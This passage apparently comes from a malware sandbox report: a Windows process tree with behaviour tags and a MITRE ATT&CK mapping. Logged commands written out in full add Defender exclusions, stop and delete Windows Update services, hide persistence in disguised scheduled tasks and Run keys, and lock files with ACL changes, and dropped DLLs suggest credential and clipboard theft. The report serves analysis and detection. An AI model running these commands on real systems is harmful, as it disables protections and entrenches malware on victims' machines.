  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4204
- - C:\Users\Admin\AppData\Local\Temp\F968.exe
    C:\Users\Admin\AppData\Local\Temp\F968.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:5100
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\aa8759f5-63d7-4a6d-92aa-6ef23192f0bc" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:4044
  - - C:\Users\Admin\AppData\Local\Temp\F968.exe
      "C:\Users\Admin\AppData\Local\Temp\F968.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:620
    - - C:\Users\Admin\AppData\Local\Temp\F968.exe
        
        "C:\Users\Admin\AppData\Local\Temp\F968.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1244
      - C:\Users\Admin\AppData\Local\1119d4ef-9b42-4f75-8eb9-dd83cd547162\build2.exe
        
        "C:\Users\Admin\AppData\Local\1119d4ef-9b42-4f75-8eb9-dd83cd547162\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2628
        
        C:\Users\Admin\AppData\Local\1119d4ef-9b42-4f75-8eb9-dd83cd547162\build2.exe
        
        "C:\Users\Admin\AppData\Local\1119d4ef-9b42-4f75-8eb9-dd83cd547162\build2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:4580
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4580 -s 1904
        8⤵
        Program crash
        
        PID:4008
      - C:\Users\Admin\AppData\Local\1119d4ef-9b42-4f75-8eb9-dd83cd547162\build3.exe
        
        "C:\Users\Admin\AppData\Local\1119d4ef-9b42-4f75-8eb9-dd83cd547162\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:3180
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4416
- C:\Users\Admin\AppData\Local\Temp\FB9C.exe
  C:\Users\Admin\AppData\Local\Temp\FB9C.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Users\Admin\AppData\Local\Temp\FB9C.exe
    C:\Users\Admin\AppData\Local\Temp\FB9C.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2640
  - - C:\Users\Admin\AppData\Local\Temp\FB9C.exe
      "C:\Users\Admin\AppData\Local\Temp\FB9C.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:4496
    - - C:\Users\Admin\AppData\Local\Temp\FB9C.exe
        
        "C:\Users\Admin\AppData\Local\Temp\FB9C.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:2412
      - C:\Users\Admin\AppData\Local\8ea2245b-c458-463a-b62a-d4067e718e71\build2.exe
        
        "C:\Users\Admin\AppData\Local\8ea2245b-c458-463a-b62a-d4067e718e71\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3676
        
        C:\Users\Admin\AppData\Local\8ea2245b-c458-463a-b62a-d4067e718e71\build2.exe
        
        "C:\Users\Admin\AppData\Local\8ea2245b-c458-463a-b62a-d4067e718e71\build2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:3360
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3360 -s 1728
        8⤵
        Program crash
        
        PID:3428
      - C:\Users\Admin\AppData\Local\8ea2245b-c458-463a-b62a-d4067e718e71\build3.exe
        
        "C:\Users\Admin\AppData\Local\8ea2245b-c458-463a-b62a-d4067e718e71\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:4984
- C:\Users\Admin\AppData\Local\Temp\179.exe
  C:\Users\Admin\AppData\Local\Temp\179.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1284
- - C:\Users\Admin\AppData\Local\Temp\179.exe
    C:\Users\Admin\AppData\Local\Temp\179.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:4628
  - - C:\Users\Admin\AppData\Local\Temp\179.exe
      "C:\Users\Admin\AppData\Local\Temp\179.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:4248
    - - C:\Users\Admin\AppData\Local\Temp\179.exe
        
        "C:\Users\Admin\AppData\Local\Temp\179.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:2500
      - C:\Users\Admin\AppData\Local\6dd24b23-2e14-4395-baa7-7cc6af542c16\build2.exe
        
        "C:\Users\Admin\AppData\Local\6dd24b23-2e14-4395-baa7-7cc6af542c16\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4900
        
        C:\Users\Admin\AppData\Local\6dd24b23-2e14-4395-baa7-7cc6af542c16\build2.exe
        
        "C:\Users\Admin\AppData\Local\6dd24b23-2e14-4395-baa7-7cc6af542c16\build2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:1684
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1752
        8⤵
        Program crash
        
        PID:4368
      - C:\Users\Admin\AppData\Local\6dd24b23-2e14-4395-baa7-7cc6af542c16\build3.exe
        
        "C:\Users\Admin\AppData\Local\6dd24b23-2e14-4395-baa7-7cc6af542c16\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:3096
- C:\Users\Admin\AppData\Local\Temp\4E5.exe
  C:\Users\Admin\AppData\Local\Temp\4E5.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:2188
- C:\Users\Admin\AppData\Local\Temp\6BB.exe
  C:\Users\Admin\AppData\Local\Temp\6BB.exe
  2⤵
  - Executes dropped EXE
  PID:3032
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3032 -s 388
    3⤵
    - Program crash
    PID:3384
- C:\Users\Admin\AppData\Local\Temp\10AE.exe
  C:\Users\Admin\AppData\Local\Temp\10AE.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:5028
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:3168
  - - C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:2084
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:4688
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        6⤵
        Loads dropped DLL
        
        PID:4720
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4720 -s 644
        7⤵
        Program crash
        
        PID:4924
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:4636
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:2664
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:3172
- C:\Users\Admin\AppData\Local\Temp\1737.exe
  C:\Users\Admin\AppData\Local\Temp\1737.exe
  2⤵
  - Executes dropped EXE
  PID:3276
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 812
    3⤵
    - Program crash
    PID:4204
- C:\Users\Admin\AppData\Local\Temp\36D6.exe
  C:\Users\Admin\AppData\Local\Temp\36D6.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:5036
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5036 -s 532
    3⤵
    - Program crash
    PID:4780
- C:\Users\Admin\AppData\Local\Temp\3EC6.exe
  C:\Users\Admin\AppData\Local\Temp\3EC6.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:752
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 752 -s 532
    3⤵
    - Program crash
    PID:4276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3036
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:2064
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1032
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1300
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1492
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1472
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2404
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:684
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2792
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:964
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:2312
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4204
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1788
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2680
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:924
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3576
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:2144
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:208
- C:\Users\Admin\AppData\Local\Temp\6536.exe
  C:\Users\Admin\AppData\Local\Temp\6536.exe
  2⤵
  - Executes dropped EXE
  PID:4088
- - C:\Windows\system32\dllhost.exe
    "C:\Windows\system32\dllhost.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Checks processor information in registry
    - outlook_office_path
    - outlook_win_path
    PID:1540
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4088 -s 704
    3⤵
    - Program crash
    PID:2148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:4108
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:2096
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3472
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4468
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4292
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2916
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:228
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2104
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2552
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:2792
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:964
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2312
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1208
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:3908
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:1656
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:1440
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:1272
- C:\Users\Admin\AppData\Local\Temp\745A.exe
  C:\Users\Admin\AppData\Local\Temp\745A.exe
  2⤵
  - Executes dropped EXE
  PID:5044
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 588
    3⤵
    - Program crash
    PID:4924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3184
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe zuhwtyqtfkk
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  PID:2548
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1792
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    PID:3652
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2284
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=
  2⤵
  - Modifies data under HKEY_USERS
  PID:2060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3032 -ip 3032
1⤵
PID:3744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3276 -ip 3276
1⤵
PID:2060

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
1⤵
PID:1888
- C:\Windows\SysWOW64\cacls.exe
  CACLS "..\16de06bfb4" /P "Admin:R" /E
  2⤵
  PID:404
- C:\Windows\SysWOW64\cacls.exe
  CACLS "..\16de06bfb4" /P "Admin:N"
  2⤵
  PID:3712
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3608
- C:\Windows\SysWOW64\cacls.exe
  CACLS "nbveek.exe" /P "Admin:R" /E
  2⤵
  PID:1724
- C:\Windows\SysWOW64\cacls.exe
  CACLS "nbveek.exe" /P "Admin:N"
  2⤵
  PID:4440
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3664

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
1⤵
- Creates scheduled task(s)
PID:2128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 4580 -ip 4580
1⤵
PID:820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 5036 -ip 5036
1⤵
PID:3184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 752 -ip 752
1⤵
PID:3404

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:4744
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:4824

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:5064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 3360 -ip 3360
1⤵
PID:2208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 1684 -ip 1684
1⤵
PID:5020

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:3596

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 528 -p 4720 -ip 4720
1⤵
PID:1264

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:4916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 5044 -ip 5044
1⤵
PID:1264

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4088 -ip 4088
1⤵
PID:4688

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery